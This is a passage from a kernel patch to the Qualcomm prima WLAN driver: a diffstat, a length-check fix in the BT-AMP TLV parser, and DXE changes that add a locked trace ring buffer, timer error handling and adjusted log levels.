.../prima/CORE/MAC/src/cfg/cfgParamName.c | 5 +- .../prima/CORE/MAC/src/cfg/cfgProcMsg.c | 41 +- .../prima/CORE/MAC/src/cfg/cfgUtil/cfg.txt | 27 +- .../CORE/MAC/src/cfg/cfgUtil/dot11f.frms | 94 +- .../prima/CORE/MAC/src/dph/dphHashTable.c | 4 +- .../prima/CORE/MAC/src/include/dot11f.h | 183 +- .../prima/CORE/MAC/src/include/dphGlobal.h | 3 +- .../prima/CORE/MAC/src/include/parserApi.h | 77 +- .../prima/CORE/MAC/src/include/sirParams.h | 100 +- .../prima/CORE/MAC/src/pe/include/limGlobal.h | 6 +- .../CORE/MAC/src/pe/include/limSession.h | 5 +- .../prima/CORE/MAC/src/pe/include/limTrace.h | 1 + .../prima/CORE/MAC/src/pe/include/schApi.h | 5 +- .../prima/CORE/MAC/src/pe/lim/limApi.c | 34 +- .../prima/CORE/MAC/src/pe/lim/limAssocUtils.c | 58 +- .../staging/prima/CORE/MAC/src/pe/lim/limFT.c | 31 +- .../CORE/MAC/src/pe/lim/limIbssPeerMgmt.c | 199 +- .../MAC/src/pe/lim/limLinkMonitoringAlgo.c | 127 +- .../prima/CORE/MAC/src/pe/lim/limLogDump.c | 116 +- .../prima/CORE/MAC/src/pe/lim/limP2P.c | 3 +- .../MAC/src/pe/lim/limProcessActionFrame.c | 97 +- .../MAC/src/pe/lim/limProcessAssocReqFrame.c | 3 + .../MAC/src/pe/lim/limProcessAssocRspFrame.c | 67 +- .../CORE/MAC/src/pe/lim/limProcessAuthFrame.c | 13 + .../MAC/src/pe/lim/limProcessBeaconFrame.c | 21 +- .../MAC/src/pe/lim/limProcessDisassocFrame.c | 5 +- .../MAC/src/pe/lim/limProcessMessageQueue.c | 186 +- .../MAC/src/pe/lim/limProcessMlmReqMessages.c | 107 +- .../MAC/src/pe/lim/limProcessMlmRspMessages.c | 91 +- .../MAC/src/pe/lim/limProcessSmeReqMessages.c | 133 +- .../CORE/MAC/src/pe/lim/limProcessTdls.c | 57 +- .../CORE/MAC/src/pe/lim/limPropExtsUtils.c | 6 +- .../prima/CORE/MAC/src/pe/lim/limRMC.c | 1382 +++++ .../prima/CORE/MAC/src/pe/lim/limRMC.h | 113 + .../CORE/MAC/src/pe/lim/limScanResultUtils.c | 71 +- .../CORE/MAC/src/pe/lim/limScanResultUtils.h | 4 +- .../MAC/src/pe/lim/limSendManagementFrames.c | 281 +- .../CORE/MAC/src/pe/lim/limSendMessages.c | 30 +- .../MAC/src/pe/lim/limSendSmeRspMessages.c | 120 +- .../CORE/MAC/src/pe/lim/limSerDesUtils.c | 53 +- .../prima/CORE/MAC/src/pe/lim/limTimerUtils.c | 80 +- .../prima/CORE/MAC/src/pe/lim/limTrace.c | 41 + .../prima/CORE/MAC/src/pe/lim/limTypes.h | 49 +- .../prima/CORE/MAC/src/pe/lim/limUtils.c | 145 +- .../prima/CORE/MAC/src/pe/lim/limUtils.h | 30 +- .../prima/CORE/MAC/src/pe/pmm/pmmApi.c | 4 +- .../prima/CORE/MAC/src/pe/sch/schApi.c | 3 +- .../prima/CORE/MAC/src/pe/sch/schBeaconGen.c | 40 +- .../CORE/MAC/src/pe/sch/schBeaconProcess.c | 45 +- drivers/staging/prima/CORE/SAP/inc/sapApi.h | 3 +- .../prima/CORE/SAP/src/sapApiLinkCntl.c | 77 +- .../staging/prima/CORE/SAP/src/sapChSelect.c | 4 +- .../staging/prima/CORE/SAP/src/sapChSelect.h | 8 +- drivers/staging/prima/CORE/SAP/src/sapFsm.c | 72 +- .../staging/prima/CORE/SAP/src/sapInternal.h | 4 + .../staging/prima/CORE/SAP/src/sapModule.c | 49 +- drivers/staging/prima/CORE/SME/inc/btcApi.h | 7 +- drivers/staging/prima/CORE/SME/inc/csrApi.h | 77 +- .../staging/prima/CORE/SME/inc/csrInternal.h | 45 +- .../prima/CORE/SME/inc/csrNeighborRoam.h | 4 +- .../staging/prima/CORE/SME/inc/oemDataApi.h | 34 +- drivers/staging/prima/CORE/SME/inc/pmc.h | 4 +- .../staging/prima/CORE/SME/inc/smeInside.h | 8 +- .../staging/prima/CORE/SME/inc/smeInternal.h | 23 +- drivers/staging/prima/CORE/SME/inc/sme_Api.h | 268 +- .../staging/prima/CORE/SME/inc/sme_Trace.h | 24 +- drivers/staging/prima/CORE/SME/inc/smsDebug.h | 5 + .../staging/prima/CORE/SME/src/btc/btcApi.c | 21 +- .../prima/CORE/SME/src/csr/csrApiRoam.c | 699 ++- .../prima/CORE/SME/src/csr/csrApiScan.c | 977 ++- .../prima/CORE/SME/src/csr/csrInsideApi.h | 81 +- .../prima/CORE/SME/src/csr/csrNeighborRoam.c | 81 +- .../prima/CORE/SME/src/csr/csrTdlsProcess.c | 66 +- .../staging/prima/CORE/SME/src/csr/csrUtil.c | 4 +- drivers/staging/prima/CORE/SME/src/pmc/pmc.c | 25 +- .../staging/prima/CORE/SME/src/pmc/pmcApi.c | 9 +- .../staging/prima/CORE/SME/src/rrm/sme_rrm.c | 62 +- .../prima/CORE/SME/src/sme_common/sme_Api.c | 1494 ++++- .../prima/CORE/SME/src/sme_common/sme_Trace.c | 53 +- .../CORE/SVC/external/wlan_nlink_common.h | 2 + .../CORE/SVC/inc/wlan_logging_sock_svc.h | 46 +- .../prima/CORE/SVC/inc/wlan_ptt_sock_svc.h | 9 +- .../SVC/src/logging/wlan_logging_sock_svc.c | 1006 +++- .../prima/CORE/SVC/src/nlink/wlan_nlink_srv.c | 37 +- .../CORE/SVC/src/ptt/wlan_ptt_sock_svc.c | 18 +- .../prima/CORE/SYS/common/src/wlan_qct_sys.c | 1 + .../CORE/SYS/legacy/src/utils/src/dot11f.c | 3250 ++++------ .../CORE/SYS/legacy/src/utils/src/macTrace.c | 25 +- .../legacy/src/utils/src/parsemactrace.cmm | 973 +++ .../CORE/SYS/legacy/src/utils/src/parserApi.c | 75 +- .../SYS/legacy/src/utils/src/utilsParser.c | 4 +- .../staging/prima/CORE/TL/inc/wlan_qct_tl.h | 65 +- .../staging/prima/CORE/TL/src/wlan_qct_tl.c | 1113 +++- .../prima/CORE/TL/src/wlan_qct_tl_ba.c | 23 +- .../prima/CORE/TL/src/wlan_qct_tl_hosupport.c | 9 + .../staging/prima/CORE/TL/src/wlan_qct_tli.h | 165 +- .../staging/prima/CORE/VOSS/inc/event_defs.h | 11 +- .../staging/prima/CORE/VOSS/inc/i_vos_trace.h | 4 +- .../staging/prima/CORE/VOSS/inc/log_codes.h | 5 +- drivers/staging/prima/CORE/VOSS/inc/vos_api.h | 118 +- .../prima/CORE/VOSS/inc/vos_diag_core_event.h | 107 +- .../prima/CORE/VOSS/inc/vos_diag_core_log.h | 101 +- .../staging/prima/CORE/VOSS/inc/vos_memory.h | 10 +- .../staging/prima/CORE/VOSS/inc/vos_timer.h | 5 +- .../staging/prima/CORE/VOSS/inc/vos_trace.h | 19 +- .../staging/prima/CORE/VOSS/inc/vos_types.h | 3 + .../staging/prima/CORE/VOSS/inc/vos_utils.h | 50 +- drivers/staging/prima/CORE/VOSS/src/vos_api.c | 572 +- .../staging/prima/CORE/VOSS/src/vos_diag.c | 24 +- .../staging/prima/CORE/VOSS/src/vos_memory.c | 58 +- .../staging/prima/CORE/VOSS/src/vos_nvitem.c | 202 +- .../staging/prima/CORE/VOSS/src/vos_sched.c | 64 +- .../staging/prima/CORE/VOSS/src/vos_sched.h | 13 + .../staging/prima/CORE/VOSS/src/vos_timer.c | 136 +- .../staging/prima/CORE/VOSS/src/vos_trace.c | 38 +- .../staging/prima/CORE/VOSS/src/vos_utils.c | 120 +- .../prima/CORE/WDA/inc/legacy/wlan_qct_hal.h | 8 +- .../staging/prima/CORE/WDA/inc/wlan_qct_wda.h | 88 +- .../staging/prima/CORE/WDA/src/wlan_qct_wda.c | 2488 +++++++- .../prima/CORE/WDA/src/wlan_qct_wda_ds.c | 63 +- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi.h | 715 ++- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi_bd.h | 8 +- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi_dp.h | 15 +- .../prima/CORE/WDI/CP/inc/wlan_qct_wdi_i.h | 545 +- .../prima/CORE/WDI/CP/src/wlan_qct_wdi.c | 3425 +++++++++-- .../prima/CORE/WDI/CP/src/wlan_qct_wdi_dp.c | 12 +- .../prima/CORE/WDI/DP/inc/wlan_qct_wdi_ds.h | 7 +- .../CORE/WDI/TRP/DTS/inc/wlan_qct_wdi_dts.h | 5 + .../CORE/WDI/TRP/DTS/src/wlan_qct_wdi_dts.c | 213 +- .../CORE/WDI/WPAL/inc/wlan_qct_pal_device.h | 8 +- .../CORE/WDI/WPAL/inc/wlan_qct_pal_packet.h | 17 +- .../CORE/WDI/WPAL/src/wlan_qct_pal_device.c | 27 +- .../CORE/WDI/WPAL/src/wlan_qct_pal_packet.c | 23 +- drivers/staging/prima/Kconfig | 4 + drivers/staging/prima/Makefile | 23 +- drivers/staging/prima/riva/inc/wlan_hal_cfg.h | 37 +- drivers/staging/prima/riva/inc/wlan_hal_msg.h | 817 ++- drivers/staging/prima/riva/inc/wlan_nv.h | 7 +- 181 files changed, 34399 insertions(+), 8678 deletions(-) mode change 100755 => 100644 drivers/staging/prima/CORE/HDD/src/wlan_hdd_main.c create mode 100644 drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.c create mode 100644 drivers/staging/prima/CORE/MAC/src/pe/lim/limRMC.h create mode 100644 drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parsemactrace.cmm mode change 100755 => 100644 drivers/staging/prima/CORE/VOSS/src/vos_trace.c diff --git a/drivers/staging/prima/CORE/BAP/src/bapModule.c b/drivers/staging/prima/CORE/BAP/src/bapModule.c index ee72d8c22ed55..5cda7f5ac0be8 100644 --- a/drivers/staging/prima/CORE/BAP/src/bapModule.c +++ b/drivers/staging/prima/CORE/BAP/src/bapModule.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -580,7 +580,7 @@ WLANBAP_ReleaseHndl if( btampContext->isBapSessionOpen == TRUE ) { halStatus = sme_CloseSession(halHandle, - btampContext->sessionId, VOS_TRUE, NULL, NULL); + btampContext->sessionId, FALSE, VOS_TRUE, NULL, NULL); if(eHAL_STATUS_SUCCESS == halStatus) { btampContext->isBapSessionOpen = FALSE; diff --git a/drivers/staging/prima/CORE/BAP/src/btampHCI.c b/drivers/staging/prima/CORE/BAP/src/btampHCI.c index 0c6d85e44cb2c..157b8d49d8f6f 100644 --- a/drivers/staging/prima/CORE/BAP/src/btampHCI.c +++ b/drivers/staging/prima/CORE/BAP/src/btampHCI.c @@ -795,7 +795,7 @@ v_U32_t btampUnpackTlvAMP_Assoc_Preferred_Channel_List(void * pCtx, v_U8_t *pBuf else { /* Maximum of 5 triplets allowed, based on size of triplets definition */ - if (tlvlen / 3 > 5) + if (tlvlen > 15) { tlvlen = 15; } diff --git a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c index ca813be4cca8d..c7f7235b0a812 100644 --- a/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c +++ b/drivers/staging/prima/CORE/DXE/src/wlan_qct_dxe.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -90,13 +90,17 @@ when who what, where, why /* CSR max retry count */ #define WLANDXE_CSR_MAX_READ_COUNT 30 +/* DXETRACE max records count */ +#define MAX_DXE_TRACE_RECORDS 512 +#define INVALID_TRACE_ADDR 0xffffffff /* This is temporary fot the compile * WDI will release official version * This must be removed */ #define WDI_GET_PAL_CTX() NULL - +#define TRACE_WLANDXE_VAR_ENABLE 1 +#define TRACE_WLANDXE_VAR_DISABLE 0 /*------------------------------------------------------------------------- * Local Varables *-------------------------------------------------------------------------*/ @@ -113,6 +117,9 @@ static char *channelType[WDTS_CHANNEL_MAX] = }; static wpt_packet *rx_reaped_buf[WLANDXE_MAX_REAPED_RX_FRAMES]; static WLANDXE_EnvInformation dxeEnvBlk; +static dxeTraceData gdxeTraceData; +static dxeTraceRecord gdxeTraceTbl[MAX_DXE_TRACE_RECORDS]; +static spinlock_t dtraceLock; /*------------------------------------------------------------------------- * External Function Proto Type @@ -144,6 +151,11 @@ static wpt_status dxeTXCleanup WLANDXE_CtrlBlkType *hostCtxt ); +static void dxeTrace +( + v_U8_t chan, v_U8_t code, v_U32_t data +); + /*------------------------------------------------------------------------- * Local Function *-------------------------------------------------------------------------*/ @@ -498,21 +510,9 @@ wpt_status dxeErrHandler wpt_uint32 chStatusReg ) { - wpt_log_data_stall_channel_type channelLog; wpt_uint32 chLDescReg, channelLoop; WLANDXE_DescCtrlBlkType *targetCtrlBlk; - dxeChannelMonitor("INT_ERR", channelCb, &channelLog); - dxeDescriptorDump(channelCb, channelCb->headCtrlBlk->linkedDesc, 0); - dxeChannelRegisterDump(channelCb, "INT_ERR", &channelLog); - dxeChannelAllDescDump(channelCb, channelCb->channelType, &channelLog); - wpalMemoryCopy(channelLog.channelName, - "INT_ERR", - WPT_TRPT_CHANNEL_NAME); - wpalPacketStallUpdateInfo(NULL, NULL, &channelLog, channelCb->channelType); -#ifdef FEATURE_WLAN_DIAG_SUPPORT - wpalPacketStallDumpLog(); -#endif /* FEATURE_WLAN_DIAG_SUPPORT */ switch ((chStatusReg & WLANDXE_CH_STAT_ERR_CODE_MASK) >> WLANDXE_CH_STAT_ERR_CODE_OFFSET) { @@ -571,11 +571,11 @@ wpt_status dxeErrHandler { wpt_uint32 regValue, regValueLocal; wpt_uint32 count = 0; - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: DXE Abort Error from S/W", __func__); wpalReadRegister(WALNDEX_DMA_CSR_ADDRESS, ®Value); - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: DXE CSR Value: %08x", __func__,regValue); //Execute the BMU recovery only if firmware triggered the ABORT @@ -592,15 +592,9 @@ wpt_status dxeErrHandler "%s: Host DXE Cleanup Failed!!!!", __func__); } - // Debug DXE channel after cleanup - dxeChannelMonitor("INT_ERR", channelCb, &channelLog); - dxeDescriptorDump(channelCb, channelCb->headCtrlBlk->linkedDesc, 0); - dxeChannelRegisterDump(channelCb, "INT_ERR", &channelLog); - dxeChannelAllDescDump(channelCb, channelCb->channelType, &channelLog); - // Unblock the firmware regValue |= WLANDXE_DMA_CSR_HOST_RECOVERY_DONE; - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: Host DXE Cleanup done %08x", __func__,regValue); wpalWriteRegister(WALNDEX_DMA_CSR_ADDRESS, regValue); @@ -625,11 +619,13 @@ wpt_status dxeErrHandler //check if the h/w resources have recovered wpalReadRegister(WLANDXE_BMU_AVAILABLE_BD_PDU, ®Value); wpalReadRegister(WLANDXE_BMU_AVAILABLE_BD_PDU_LOCAL, ®ValueLocal); - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "===== count %d ABD %d, ABD LOCAL %d =====", count, regValue, regValueLocal); if(regValue == 0 || regValueLocal == 0) { + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + "%s: HW resources have not recovered", __func__); return eWLAN_PAL_STATUS_E_FAILURE; } @@ -1914,17 +1910,33 @@ static wpt_status dxeRXFrameSingleBufferAlloc /* First check if a packet pointer has already been provided by a previously invoked Rx packet available callback. If so use that packet. */ - if(dxeCtxt->rxPalPacketUnavailable && (NULL != dxeCtxt->freeRXPacket)) + if (dxeCtxt->rxPalPacketUnavailable) { - currentPalPacketBuffer = dxeCtxt->freeRXPacket; - dxeCtxt->rxPalPacketUnavailable = eWLAN_PAL_FALSE; - dxeCtxt->freeRXPacket = NULL; + if (NULL != dxeCtxt->freeRXPacket) + { + currentPalPacketBuffer = dxeCtxt->freeRXPacket; + dxeCtxt->rxPalPacketUnavailable = eWLAN_PAL_FALSE; + dxeCtxt->freeRXPacket = NULL; - if (channelEntry->doneIntDisabled) + if (channelEntry->doneIntDisabled) + { + wpalWriteRegister(channelEntry->channelRegister.chDXECtrlRegAddr, + channelEntry->extraConfig.chan_mask); + channelEntry->doneIntDisabled = 0; + } + } + else if (VOS_TIMER_STATE_RUNNING != + wpalTimerGetCurStatus(&dxeCtxt->rxResourceAvailableTimer)) { - wpalWriteRegister(channelEntry->channelRegister.chDXECtrlRegAddr, - channelEntry->extraConfig.chan_mask); - channelEntry->doneIntDisabled = 0; + if (eWLAN_PAL_STATUS_SUCCESS != + wpalTimerStart(&dxeCtxt->rxResourceAvailableTimer, + wpalGetDxeReplenishRXTimerVal())) + { + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + "RX resource available timer not started"); + } + else + dxeEnvBlk.rx_low_resource_timer = 1; } } else if(!dxeCtxt->rxPalPacketUnavailable) @@ -1946,8 +1958,15 @@ static wpt_status dxeRXFrameSingleBufferAlloc { HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_WARN, "RX Low resource, wait available resource"); - wpalTimerStart(&dxeCtxt->rxResourceAvailableTimer, - wpalGetDxeReplenishRXTimerVal()); + if (eWLAN_PAL_STATUS_SUCCESS != + wpalTimerStart(&dxeCtxt->rxResourceAvailableTimer, + wpalGetDxeReplenishRXTimerVal())) + { + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + "RX resource available timer not started"); + } + else + dxeEnvBlk.rx_low_resource_timer = 1; } #endif } @@ -2624,7 +2643,7 @@ void dxeRXEventHandler if((WLANDXE_POWER_STATE_IMPS == dxeCtxt->hostPowerState) || (WLANDXE_POWER_STATE_DOWN == dxeCtxt->hostPowerState)) { - if (WLANDXE_POWER_STATE_IMPS == dxeCtxt->hostPowerState) + if (WLANDXE_POWER_STATE_DOWN != dxeCtxt->hostPowerState) { if(0 == intSrc) { @@ -2643,8 +2662,8 @@ void dxeRXEventHandler } } - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_WARN, - "%s Riva is in %d, Just Pull frames without any register touch ", + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s Riva is in %d, Just Pull frames without any register touch", __func__, dxeCtxt->hostPowerState); /* Not to touch any register, just pull frame directly from chain ring @@ -2656,7 +2675,7 @@ void dxeRXEventHandler if(eWLAN_PAL_STATUS_SUCCESS != status) { HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, - "dxeRXEventHandler Pull from RX high channel fail"); + "dxeRXEventHandler Pull from RX high channel fail"); } /* In case FW could not power collapse in IMPS mode * Next power restore might have empty interrupt @@ -2695,7 +2714,10 @@ void dxeRXEventHandler /* Interrupt will not enabled at here, it will be enabled at PS mode change */ tempDxeCtrlBlk->rxIntDisabledByIMPS = eWLAN_PAL_TRUE; dxeEnvBlk.rxIntDisableReturn = VOS_RETURN_ADDRESS; - + dxeEnvBlk.rxIntDisableFrame = __builtin_frame_address(0); + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s Host is in %d RX Int Disabled", + __func__, dxeCtxt->hostPowerState); return; } @@ -3033,7 +3055,8 @@ void dxeRXEventHandler "dxeRXEventHandler Enable RX Ready interrupt fail"); return; } - + DXTRACE(dxeTrace(WLANDXE_DMA_CHANNEL_MAX, TRACE_RXINT_STATE, + TRACE_WLANDXE_VAR_ENABLE)); HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, "%s Exit", __func__); return; @@ -3087,6 +3110,7 @@ void dxeRXPacketAvailableEventHandler wpalTimerGetCurStatus(&dxeCtxt->rxResourceAvailableTimer)) { wpalTimerStop(&dxeCtxt->rxResourceAvailableTimer); + dxeEnvBlk.rx_low_resource_timer = 0; } #endif @@ -3129,6 +3153,9 @@ void dxeRXPacketAvailableEventHandler /* Interrupt will not enabled at here, it will be enabled at PS mode change */ tempDxeCtrlBlk->rxIntDisabledByIMPS = eWLAN_PAL_TRUE; dxeEnvBlk.rxIntDisableReturn = VOS_RETURN_ADDRESS; + dxeEnvBlk.rxIntDisableFrame = __builtin_frame_address(0); + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_ERROR, + "dxeRXPacketAvailableEventHandler Int Disabled by IMPS"); } } @@ -3158,6 +3185,7 @@ static void dxeRXISR WLANDXE_CtrlBlkType *dxeCtxt = (WLANDXE_CtrlBlkType *)hostCtxt; wpt_status status = eWLAN_PAL_STATUS_SUCCESS; wpt_uint32 regValue; + wpt_uint32 intSrc = 0; /* Set Interrupt processing bit * During this bit set, WLAN HW may not power collapse */ @@ -3185,6 +3213,12 @@ static void dxeRXISR return; } + wpalReadRegister(WLANDXE_INT_SRC_RAW_ADDRESS, + &intSrc); + /* Note: intSrc which holds the INT_SRC_RAW_ADDRESS reg value + While debugging crash dump convert to power of 2 for channel type */ + DXTRACE(dxeTrace(intSrc, TRACE_RXINT_STATE, TRACE_WLANDXE_VAR_DISABLE)); + /* Serialize RX Ready interrupt upon RX thread */ if(NULL == dxeCtxt->rxIsrMsg) { @@ -3394,6 +3428,7 @@ static wpt_status dxeTXPushFrame dxeNotifySmsm(eWLAN_PAL_FALSE, eWLAN_PAL_TRUE); dxeNotifySmsm(eWLAN_PAL_TRUE, eWLAN_PAL_FALSE); tempDxeCtrlBlk->smsmToggled = eWLAN_PAL_TRUE; + DXTRACE(dxeTrace(channelEntry->channelType, TRACE_SMSM_NOTIFY, TRACE_WLANDXE_VAR_ENABLE)); } return status; } @@ -3420,6 +3455,7 @@ static wpt_status dxeTXPushFrame "dxeTXPushFrame Write Channel Ctrl Register fail"); return status; } + DXTRACE(dxeTrace(channelEntry->channelType, TRACE_CH_ENABLE, TRACE_WLANDXE_VAR_ENABLE)); /* Update channel head as next avaliable linked slot */ channelEntry->headCtrlBlk = currentCtrlBlk; @@ -3768,7 +3804,7 @@ static wpt_status dxeTXCleanup channelEntry = &tempDxeCtrlBlk->dxeChannel[idx]; if(idx != WDTS_CHANNEL_TX_LOW_PRI && idx != WDTS_CHANNEL_TX_HIGH_PRI) { - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: %11s continue",__func__, channelType[channelEntry->channelType]); continue; @@ -3788,7 +3824,7 @@ static wpt_status dxeTXCleanup if( currentCtrlBlk == channelEntry->headCtrlBlk ) { - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: %11s Head and Tail are Same",__func__, channelType[channelEntry->channelType]); @@ -3855,7 +3891,7 @@ static wpt_status dxeTXCleanup * in theory, COMP CB must be called already ??? */ if(currentCtrlBlk == channelEntry->headCtrlBlk) { - HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_FATAL, + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: %11s caught up with head ptr",__func__, channelType[channelEntry->channelType]); break; @@ -4156,6 +4192,10 @@ void dxeTXEventHandler } } + if(eWLAN_PAL_TRUE == dxeCtxt->txIntEnable) + DXTRACE(dxeTrace(WLANDXE_DMA_CHANNEL_MAX, TRACE_TXINT_STATE, + TRACE_WLANDXE_VAR_ENABLE)); + dxeEnvBlk.txCmpIntChanlSrc = 0; /*Kicking the DXE after the TX Complete interrupt was enabled - to avoid @@ -4452,8 +4492,9 @@ static void dxeTXISR void *hostCtxt ) { - WLANDXE_CtrlBlkType *dxeCtxt = (WLANDXE_CtrlBlkType *)hostCtxt; + WLANDXE_CtrlBlkType *dxeCtxt = (WLANDXE_CtrlBlkType *)hostCtxt; wpt_status status = eWLAN_PAL_STATUS_SUCCESS; + wpt_uint32 intSrc = 0; HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, "%s Enter", __func__); @@ -4487,6 +4528,11 @@ static void dxeTXISR } dxeCtxt->txIntEnable = eWLAN_PAL_FALSE; + wpalReadRegister(WLANDXE_INT_SRC_RAW_ADDRESS, + &intSrc); + /* intSrc which holds the INT_SRC_RAW_ADDRESS reg value + While debugging crash dump convert to power of 2 for channel type */ + DXTRACE(dxeTrace(intSrc, TRACE_TXINT_STATE, TRACE_WLANDXE_VAR_DISABLE)); if( dxeCtxt->ucTxMsgCnt ) { @@ -4494,7 +4540,7 @@ static void dxeTXISR "Avoiding serializing TX Complete event"); return; } - + dxeCtxt->ucTxMsgCnt = 1; /* Serialize TX complete interrupt upon TX thread */ @@ -4505,6 +4551,7 @@ static void dxeTXISR HDXE_ASSERT(0); return; } + status = wpalPostTxMsg(WDI_GET_PAL_CTX(), dxeCtxt->txIsrMsg); if(eWLAN_PAL_STATUS_SUCCESS != status) @@ -4518,6 +4565,97 @@ static void dxeTXISR return; } +/*========================================================================== + @ Function Name + dxeTraceInit + + @ Description + Initialize the DXTRACE when enabled + + @ Parameters + NONE + + @ Return + NONE +===========================================================================*/ +void dxeTraceInit(void) +{ + gdxeTraceData.head = INVALID_VOS_TRACE_ADDR; + gdxeTraceData.tail = INVALID_VOS_TRACE_ADDR; + gdxeTraceData.num = 0; + gdxeTraceData.enable = eWLAN_PAL_TRUE; +} + +/*========================================================================== + @ Function Name + dxeTrace + + @ Description + puts the messages in to ring-buffer + + @ Parameters + v_U8_t chan + Rx/Tx path record + v_U8_t code + Rx/Tx Event + v_U32_t data + Actual message contents + @ Return + NONE +===========================================================================*/ +void dxeTrace(v_U8_t chan, v_U8_t code, v_U32_t data) +{ + pdxeTraceRecord rec = NULL; + unsigned long flags; + + if (!gdxeTraceData.enable) + { + return; + } + + /* Aquire the lock and only one thread can access the buffer at a time */ + spin_lock_irqsave(&dtraceLock, flags); + + gdxeTraceData.num++; + + if (gdxeTraceData.num > MAX_DXE_TRACE_RECORDS) + { + gdxeTraceData.num = MAX_DXE_TRACE_RECORDS; + } + if (INVALID_VOS_TRACE_ADDR == gdxeTraceData.head) + { + /* first record */ + gdxeTraceData.head = 0; + gdxeTraceData.tail = 0; + } + else + { + /* queue is not empty */ + v_U32_t tail = gdxeTraceData.tail + 1; + if (MAX_DXE_TRACE_RECORDS == tail) + { + tail = 0; + } + if (gdxeTraceData.head == tail) + { + /* full */ + if (MAX_DXE_TRACE_RECORDS == ++gdxeTraceData.head) + { + gdxeTraceData.head = 0; + } + } + gdxeTraceData.tail = tail; + } + + rec = &gdxeTraceTbl[gdxeTraceData.tail]; + rec->code = code; + rec->data = data; + rec->time = vos_timer_get_system_time(); + rec->chan = chan; + + spin_unlock_irqrestore(&dtraceLock, flags); +} + /*------------------------------------------------------------------------- * Global Function *-------------------------------------------------------------------------*/ @@ -4690,6 +4828,12 @@ void *WLANDXE_Open wpalTimerInit(&tempDxeCtrlBlk->dxeSSRTimer, dxeSSRTimerExpHandler, tempDxeCtrlBlk); + spin_lock_init(&dtraceLock); + +#ifdef DXE_TRACE + DXTRACE(dxeTraceInit()); +#endif + HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_WARN, "WLANDXE_Open Success"); HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, @@ -5376,6 +5520,8 @@ void dxeTxThreadSetPowerStateEventHandler break; } + DXTRACE(dxeTrace(WLANDXE_DMA_CHANNEL_MAX, TRACE_POWER_STATE, dxeCtxt->hostPowerState)); + if(WLANDXE_POWER_STATE_BMPS_PENDING != dxeCtxt->hostPowerState) { dxeCtxt->setPowerStateCb(status, @@ -5462,6 +5608,7 @@ wpt_status WLANDXE_SetPowerState WLANDXE_PowerStateType hostPowerState; wpt_msg *rxCompMsg; wpt_msg *txDescReSyncMsg; + int state; HDXE_MSG(eWLAN_MODULE_DAL_DATA, eWLAN_PAL_TRACE_LEVEL_INFO_LOW, "%s Enter", __func__); @@ -5476,6 +5623,7 @@ wpt_status WLANDXE_SetPowerState switch(powerState) { case WDTS_POWER_STATE_FULL: + dxeEnvBlk.dxe_prev_ps = pDxeCtrlBlk->hostPowerState; if(WLANDXE_POWER_STATE_IMPS == pDxeCtrlBlk->hostPowerState) { txDescReSyncMsg = (wpt_msg *)wpalMemoryAllocate(sizeof(wpt_msg)); @@ -5605,6 +5753,17 @@ wpt_status 